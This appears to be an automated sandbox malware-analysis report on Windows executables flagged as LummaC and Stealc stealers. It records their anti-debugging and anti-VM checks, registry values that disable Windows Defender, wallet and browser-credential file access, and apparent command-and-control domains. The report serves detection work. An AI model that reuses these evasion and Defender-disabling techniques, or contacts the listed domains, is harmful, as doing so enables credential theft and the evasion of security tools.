Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E137 second address: C8E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCBAD522AADh 0x0000000b jmp 00007FCBAD522AB3h 0x00000010 jmp 00007FCBAD522AB9h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007FCBAD522AB0h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E18F second address: C8E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E193 second address: C8E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E44A second address: C8E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E44E second address: C8E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007FCBAD522AA6h 0x00000008 jmp 00007FCBAD522AB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	RDTSC instruction interceptor: First address: C8E46E second address: C8E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Special instruction interceptor: First address: 657B08 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Special instruction interceptor: First address: 657C11 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Special instruction interceptor: First address: 8021DB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Special instruction interceptor: First address: 885A71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Special instruction interceptor: First address: 8CFC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Special instruction interceptor: First address: 8CFB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Special instruction interceptor: First address: 8CD6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Special instruction interceptor: First address: AA5D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Special instruction interceptor: First address: B13CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Special instruction interceptor: First address: B13368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Memory allocated: 51A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Memory allocated: 7330000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Code function: 10_2_00C8E142 rdtsc

10_2_00C8E142

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Code function: 10_2_00CA425C sidt fword ptr [esp-02h]

10_2_00CA425C

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe TID: 4220	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe TID: 2132	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe TID: 6676	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe TID: 4128	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe TID: 2520	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe TID: 1840	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: HXPC21YC8H3Q6AWWXLQHI1I.exe, HXPC21YC8H3Q6AWWXLQHI1I.exe, 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, BGXAMSUR4L24WR8IH77.exe, BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1682683310.0000000000A5B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: s31ydU1MpQ.exe, s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480098661.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1436434228.00000000012B3000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341921354.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1436676563.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1415661013.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: s31ydU1MpQ.exe, 00000000.00000003.1367931512.0000000005995000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe, 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1682683310.0000000000A5B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: s31ydU1MpQ.exe, 00000000.00000003.1367989688.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Code function: 10_2_00C8E142 Start: 00C8E199 End: 00C8E193

10_2_00C8E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Code function: 10_2_00C8E142 rdtsc

10_2_00C8E142

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Code function: 10_2_00CA3D4C LdrInitializeThunk,

10_2_00CA3D4C

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: BGXAMSUR4L24WR8IH77.exe PID: 484, type: MEMORYSTR

LummaC encrypted strings found

Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: s31ydU1MpQ.exe, 00000000.00000003.1255103620.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1682988540.0000000000A9D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe, 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: s31ydU1MpQ.exe, 00000000.00000003.1437700853.0000000001317000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: s31ydU1MpQ.exe PID: 6440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000003.1623078762.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1683875991.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1681988687.0000000000681000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BGXAMSUR4L24WR8IH77.exe PID: 484, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: s31ydU1MpQ.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: s31ydU1MpQ.exe	String found in binary or memory: Wallets/Exodus
Source: s31ydU1MpQ.exe, 00000000.00000003.1367621560.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: s31ydU1MpQ.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: s31ydU1MpQ.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
